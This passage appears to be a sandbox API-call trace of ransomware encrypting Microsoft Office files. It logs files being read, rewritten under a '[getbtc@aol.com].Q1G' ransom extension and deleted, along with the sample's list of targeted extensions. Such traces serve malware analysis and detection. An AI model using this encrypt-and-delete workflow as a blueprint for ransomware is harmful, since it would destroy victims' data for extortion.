(lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0253.577] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.577] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0253.578] GetLastError () returned 0x0 [0253.578] ReadFile (in: hFile=0x388, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xd0, lpOverlapped=0x0) returned 1 [0253.579] WriteFile (in: hFile=0x394, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0253.579] ReadFile (in: hFile=0x388, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.579] WriteFile (in: hFile=0x394, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0253.579] SetEndOfFile (hFile=0x394) returned 1 [0253.580] CloseHandle (hObject=0x394) returned 1 [0253.580] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.580] SetEndOfFile (hFile=0x388) returned 1 [0253.582] CloseHandle (hObject=0x388) returned 1 [0253.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.582] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt")) returned 1 [0253.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0253.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0253.583] lstrlenW (lpString=".doc") returned 4 [0253.583] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0253.583] lstrlenW (lpString=".docx") returned 5 [0253.583] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0253.583] lstrlenW (lpString=".pdf") returned 4 [0253.583] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0253.583] lstrlenW (lpString=".xls") returned 4 [0253.583] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0253.583] lstrlenW (lpString=".xlsx") returned 5 [0253.583] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0253.583] lstrlenW (lpString=".ppt") returned 4 [0253.583] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0253.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0253.583] lstrlenW (lpString=".zip") returned 4 [0253.583] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0253.583] lstrlenW (lpString=".rar") returned 4 [0253.583] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0253.583] lstrlenW (lpString=".bz2") returned 4 [0253.584] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0253.584] lstrlenW (lpString=".7z") returned 3 [0253.584] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0253.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0253.584] lstrlenW (lpString=".dbf") returned 4 [0253.584] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0253.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0253.584] lstrlenW (lpString=".1cd") returned 4 [0253.584] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0253.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0253.584] lstrlenW (lpString=".jpg") returned 4 [0253.584] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0253.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0253.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0253.584] lstrlenW (lpString=".doc") returned 4 [0253.584] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0253.584] lstrlenW (lpString=".docx") returned 5 [0253.584] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0253.584] lstrlenW (lpString=".pdf") returned 4 [0253.584] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0253.584] lstrlenW (lpString=".xls") returned 4 [0253.584] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0253.584] lstrlenW (lpString=".xlsx") returned 5 [0253.584] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0253.584] lstrlenW (lpString=".ppt") returned 4 [0253.584] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0253.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0253.584] lstrlenW (lpString=".zip") returned 4 [0253.584] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0253.584] lstrlenW (lpString=".rar") returned 4 [0253.584] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0253.584] lstrlenW (lpString=".bz2") returned 4 [0253.584] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0253.584] lstrlenW (lpString=".7z") returned 3 [0253.584] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0253.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0253.585] lstrlenW (lpString=".dbf") returned 4 [0253.585] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0253.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0253.585] lstrlenW (lpString=".1cd") returned 4 [0253.585] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0253.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT") returned 64 [0253.585] lstrlenW (lpString=".jpg") returned 4 [0253.585] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0253.585] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0253.585] lstrlenW (lpString="POWERPNT_F_COL.HXK") returned 18 [0253.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0253.585] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=114) returned 1 [0253.585] CloseHandle (hObject=0x388) returned 1 [0253.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk")) returned 0x20 [0253.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0253.586] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.586] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0253.586] GetLastError () returned 0x0 [0253.586] ReadFile (in: hFile=0x388, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x72, lpOverlapped=0x0) returned 1 [0253.587] WriteFile (in: hFile=0x394, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x80, lpOverlapped=0x0) returned 1 [0253.588] ReadFile (in: hFile=0x388, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.588] WriteFile (in: hFile=0x394, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0253.588] SetEndOfFile (hFile=0x394) returned 1 [0253.588] CloseHandle (hObject=0x394) returned 1 [0253.588] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.588] SetEndOfFile (hFile=0x388) returned 1 [0253.591] CloseHandle (hObject=0x388) returned 1 [0253.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.591] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_f_col.hxk")) returned 1 [0253.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0253.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0253.591] lstrlenW (lpString=".doc") returned 4 [0253.592] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0253.592] lstrlenW (lpString=".docx") returned 5 [0253.592] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0253.592] lstrlenW (lpString=".pdf") returned 4 [0253.592] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0253.592] lstrlenW (lpString=".xls") returned 4 [0253.592] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0253.592] lstrlenW (lpString=".xlsx") returned 5 [0253.592] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0253.592] lstrlenW (lpString=".ppt") returned 4 [0253.592] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0253.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0253.592] lstrlenW (lpString=".zip") returned 4 [0253.592] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0253.592] lstrlenW (lpString=".rar") returned 4 [0253.592] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0253.592] lstrlenW (lpString=".bz2") returned 4 [0253.592] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0253.592] lstrlenW (lpString=".7z") returned 3 [0253.592] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0253.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0253.592] lstrlenW (lpString=".dbf") returned 4 [0253.592] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0253.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0253.592] lstrlenW (lpString=".1cd") returned 4 [0253.592] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0253.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0253.592] lstrlenW (lpString=".jpg") returned 4 [0253.592] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0253.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0253.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0253.592] lstrlenW (lpString=".doc") returned 4 [0253.592] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0253.592] lstrlenW (lpString=".docx") returned 5 [0253.592] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0253.592] lstrlenW (lpString=".pdf") returned 4 [0253.593] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0253.593] lstrlenW (lpString=".xls") returned 4 [0253.593] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0253.593] lstrlenW (lpString=".xlsx") returned 5 [0253.593] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0253.593] lstrlenW (lpString=".ppt") returned 4 [0253.593] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0253.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0253.593] lstrlenW (lpString=".zip") returned 4 [0253.593] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0253.593] lstrlenW (lpString=".rar") returned 4 [0253.593] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0253.593] lstrlenW (lpString=".bz2") returned 4 [0253.593] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0253.593] lstrlenW (lpString=".7z") returned 3 [0253.593] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0253.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0253.593] lstrlenW (lpString=".dbf") returned 4 [0253.593] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0253.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0253.593] lstrlenW (lpString=".1cd") returned 4 [0253.593] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0253.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_F_COL.HXK") returned 66 [0253.593] lstrlenW (lpString=".jpg") returned 4 [0253.593] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0253.593] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0253.593] lstrlenW (lpString="POWERPNT_K_COL.HXK") returned 18 [0253.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0253.594] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=113) returned 1 [0253.594] CloseHandle (hObject=0x388) returned 1 [0253.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk")) returned 0x20 [0253.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0253.594] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.594] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0253.595] GetLastError () returned 0x0 [0253.595] ReadFile (in: hFile=0x388, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x71, lpOverlapped=0x0) returned 1 [0253.618] WriteFile (in: hFile=0x394, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x80, lpOverlapped=0x0) returned 1 [0253.618] ReadFile (in: hFile=0x388, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.618] WriteFile (in: hFile=0x394, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0253.618] SetEndOfFile (hFile=0x394) returned 1 [0253.619] CloseHandle (hObject=0x394) returned 1 [0253.619] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.619] SetEndOfFile (hFile=0x388) returned 1 [0253.621] CloseHandle (hObject=0x388) returned 1 [0253.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.683] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_k_col.hxk")) returned 1 [0253.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0253.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0253.684] lstrlenW (lpString=".doc") returned 4 [0253.684] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0253.684] lstrlenW (lpString=".docx") returned 5 [0253.684] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0253.684] lstrlenW (lpString=".pdf") returned 4 [0253.684] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0253.684] lstrlenW (lpString=".xls") returned 4 [0253.684] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0253.684] lstrlenW (lpString=".xlsx") returned 5 [0253.684] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0253.684] lstrlenW (lpString=".ppt") returned 4 [0253.684] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0253.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0253.684] lstrlenW (lpString=".zip") returned 4 [0253.684] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0253.684] lstrlenW (lpString=".rar") returned 4 [0253.684] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0253.684] lstrlenW (lpString=".bz2") returned 4 [0253.684] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0253.684] lstrlenW (lpString=".7z") returned 3 [0253.684] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0253.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0253.684] lstrlenW (lpString=".dbf") returned 4 [0253.684] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0253.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0253.684] lstrlenW (lpString=".1cd") returned 4 [0253.684] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0253.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0253.684] lstrlenW (lpString=".jpg") returned 4 [0253.684] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0253.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0253.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0253.684] lstrlenW (lpString=".doc") returned 4 [0253.685] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0253.685] lstrlenW (lpString=".docx") returned 5 [0253.685] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0253.685] lstrlenW (lpString=".pdf") returned 4 [0253.685] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0253.685] lstrlenW (lpString=".xls") returned 4 [0253.685] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0253.685] lstrlenW (lpString=".xlsx") returned 5 [0253.685] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0253.685] lstrlenW (lpString=".ppt") returned 4 [0253.685] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0253.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0253.685] lstrlenW (lpString=".zip") returned 4 [0253.685] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0253.685] lstrlenW (lpString=".rar") returned 4 [0253.685] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0253.685] lstrlenW (lpString=".bz2") returned 4 [0253.685] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0253.685] lstrlenW (lpString=".7z") returned 3 [0253.685] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0253.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0253.685] lstrlenW (lpString=".dbf") returned 4 [0253.685] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0253.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0253.685] lstrlenW (lpString=".1cd") returned 4 [0253.685] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0253.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_K_COL.HXK") returned 66 [0253.685] lstrlenW (lpString=".jpg") returned 4 [0253.685] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0253.685] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0253.685] lstrlenW (lpString="PPINTL.REST.IDX_DLL") returned 19 [0253.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0253.686] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=139648) returned 1 [0253.686] CloseHandle (hObject=0x3ac) returned 1 [0253.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll")) returned 0x20 [0253.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0253.686] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.686] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: 